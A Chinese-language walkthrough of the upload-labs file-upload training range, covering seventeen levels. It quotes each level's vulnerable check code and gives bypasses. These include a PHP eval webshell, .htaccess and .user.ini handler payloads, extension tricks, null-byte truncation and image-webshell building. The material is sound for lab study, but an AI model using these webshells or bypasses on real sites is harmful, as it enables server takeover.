目录
Pass-01(js前端验证)
Pass-02(MIME验证)
Pass-03(黑名单验证,特殊后缀)
Pass-04(黑名单验证,.htaccess)
Pass-05(黑名单验证,.user.ini.)
Pass-06(黑名单验证,大小写绕过)
Pass-07(黑名单验证,空格绕过)
Pass-08(黑名单验证,点号绕过)
Pass-09(黑名单验证,特殊字符::$DATA绕过)?
Pass-10(利用函数执行依次来绕过)
Pass-11(黑名单验证,双写绕过)
Pass-12(GET中00截断)
Pass-13(POST中00截断)
Pass-14(图片马unpack)
Pass-15(getimagesize图片马)
Pass-16(exif_imagetype图片马)
Pass-17(二次渲染绕过)
Pass-01(js前端验证)
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
不能使用php文件,这里是前端绕过js过滤,有几种方式,但我还是只用能bp实现、
将包含webshell的php文件重命名为png,在上传的过程中使用bp拦截并修改后缀,实现绕过js验证
webshell内容:
<?php @eval($_POST['pass']); ?>
?会显示上传成功,复制图片链接连蚁剑,蚁剑链接成功?
Pass-02(MIME验证)
分析代码,可以看到,后端PHP代码只对content-type进行了检查?,也就是说只需要将content-type改成其认可的就行,php文件可以正常传输
还是用bp实现,这次直接传入php文件即可
?修改成 image/jpeg ,放包后成功上传
Pass-03(黑名单验证,特殊后缀)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
黑名单绕过 只针对黑名单中没有的后缀名,文件才能上传成功。 这一关禁止.jsp、.php、.asp、.aspx后缀名的文件上传,也禁止了点,空格等
,可上传php1、php2、phtml、php5等等
依然是通过bp修改,?
?
?
Pass-04(黑名单验证,.htaccess)
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
这下禁止的后缀更多了
htaccess文件介绍:
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 其中.htaccess文件内容: SetHandler application/x-httpd-php 设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
(.htaccess和一句话木马在同一目录下。) 然后再上传一个 1.jpg 此时1.jpg 就会被当作 PHP 来执行。
创建.htaccess并将其上传:(先在txt中输入一下代码,然后另存为.htaccess,类型选所有)
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
接下来构造图片马,1.jpg,最简单的构造1.php写入马后修改后缀即可?
先上传.htaccess,再上传1.jpg,之后蚁剑连接
Pass-05(黑名单验证,.user.ini.)
相较于上题又禁用了htaccess?,提示也看不明白
知识补充:.user.ini 类似于.htaccess但是应用范围更广,只要是以fastcgi运行的php都可以用它来动态的局部修改php.ini中的配置
创建一个.user.ini文件并把它上传,其内容为
auto_prepend_file=1.gif
.user.ini文件里面的意思是:所有的php文件都自动包含1.gif文件。.user.ini相当于一个用户自定义的php.ini。
然后再上传一个内容为php的一句话的脚本,命名为1.gif
<?php @eval($_POST['pass']); ?>
上传后可以等5分钟,因为配置文件时间为300秒(可以修改)
使用蚁剑连接readme.php (此时该文件会自动包含1.gif )
Pass-06(黑名单验证,大小写绕过)
没有使用strtolower()函数,可以使用大小写绕过黑名单?
bp修改为PHP后缀即可
Pass-07(黑名单验证,空格绕过)
使用trim()去除空格,可以使用空格绕过黑名单
php前加个空格即可
Pass-08(黑名单验证,点号绕过)
没有使用deldot()过滤文件名末尾的点 ,可以使用文件名后加.进行绕过
Pass-09(黑名单验证,特殊字符::$DATA绕过)
?没有对::D A T A 进 行 处 理 , 可 以 使 用 : : DATA进行处理,可以使用::DATA进行处理,可以使用::DATA绕过黑名单
补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
?上传PHP一句话文件,抓包,后缀加上::$DATA
连蚁剑时候不要::$DATA
Pass-10(利用函数执行依次来绕过)
(点 空格 点)绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
构造点空格点 .? . ,这样可以绕过,但蚁剑连接php.
但是我还是没上传上去
Pass-11(黑名单验证,双写绕过)
补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)?
使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单
用bp改后缀为.pphphp(php替换为空后得到.php)
使用蚁剑连接.php
Pass-12(GET中00截断)
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
知识补充: strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。 substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
GET传值?
白名单,只允许图片文件,能抓到包不是js前端的验证
使用%00截断
Pass-13(POST中00截断)
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
与上题不一样是POST传值
?
?将Hex中的2b改成00,即+改空白了
??
?放包
Pass-14(图片马unpack)
1,只读两个字节,所以可以先写一句文件头,也叫文件幻数,伪造文件头绕过?
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
?使用文件包含,包含进去这个webshell ,任意文件,都作为php文件解析执行。
蚁剑连接?
2,生成图片马
- 在路径下准备好一句话木马.php和一张图片 .png (或者 .jpg )
- 输入系统指令:?
copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png - 这样图片木马就合成好了
?(/b是二进制形式打开? ?/a是ascii方式打开)
注意以下几点:
- 单纯的图片马并不能直接和蚁剑连接,
- 因为该文件依然是以image格式进行解析,
- 只有利用文件包含漏洞,才能成功利用该木马
- 所谓文件包含漏洞,是指在代码中引入其他文件作为php文件执行时,未对文件进行严格过滤,导致用户指定任意文件,都作为php文件解析执行。
?
上传这个pass,png文件,然后文件包含?
?
Pass-15(getimagesize图片马)
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关 的图片马绕过,并使用文件包含漏洞解析图片马?
getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,成功返回一个数组,如果没有相关的图片文件头,函数会报错。
、
返回结果说明 索引 0 给出的是图像宽度的像素值 索引 1 给出的是图像高度的像素值 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
所以这个函数要求必须上传图片。 image_type_to_extension ( int $imagetype [, bool $include_dot = TRUE ] ) — 根据指定的图像类型返回对应的后缀名。根据给定的常量 IMAGETYPE_XXX 返回后缀名。 参数:imagetype是IMAGETYPE_XXX 系列常量之一。include_dot指定是否在后缀名前加一个点。默认是 TRUE。 ?
Pass-16(exif_imagetype图片马)
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
?这题和上面两个图片马的题一样,也是检查了文件的文件头格式这里使用的是exif_imagetype函数来判断方法个上面一样
Pass-17(二次渲染绕过)
这一关对上传图片进行了判断了后缀名 、content-type ,以及利用imagecreatefromgif 判断是否为gif 图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type']; //Content-Type
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename); //basename() 函数返回路径中的文件名部分。这里最后以原文件名保存了文件
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1); //strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){ //判断文件后缀和Content-Type
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path); //imagecreatefromjpeg() — 由jpg文件或 URL 创建一个新图象。成功则返回一图像标识符,代表了从给定的文件名取得的图像。失败返回false,即不是jpg
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path); //unlink(filename)函数删除文件。 即如果判断到不是jpg则删除该文件
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg"; //strval() 函数用于获取变量的字符串值。
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path); //imagejpeg ($image ,$filename)— 输出图象到浏览器或文件,即从 image 图像以 filename 为文件名创建一个 JPEG 图像。即二次渲染。从这里看出最终保存的是经过二次渲染之后的图片,
@unlink($target_path); //删除原文件
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
//一下的代码审计与上面一样
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path); //二次渲染
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
补充知识: 二次渲染:后端重写文件内容 basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名 strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。 imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像 imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像 imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片
?
|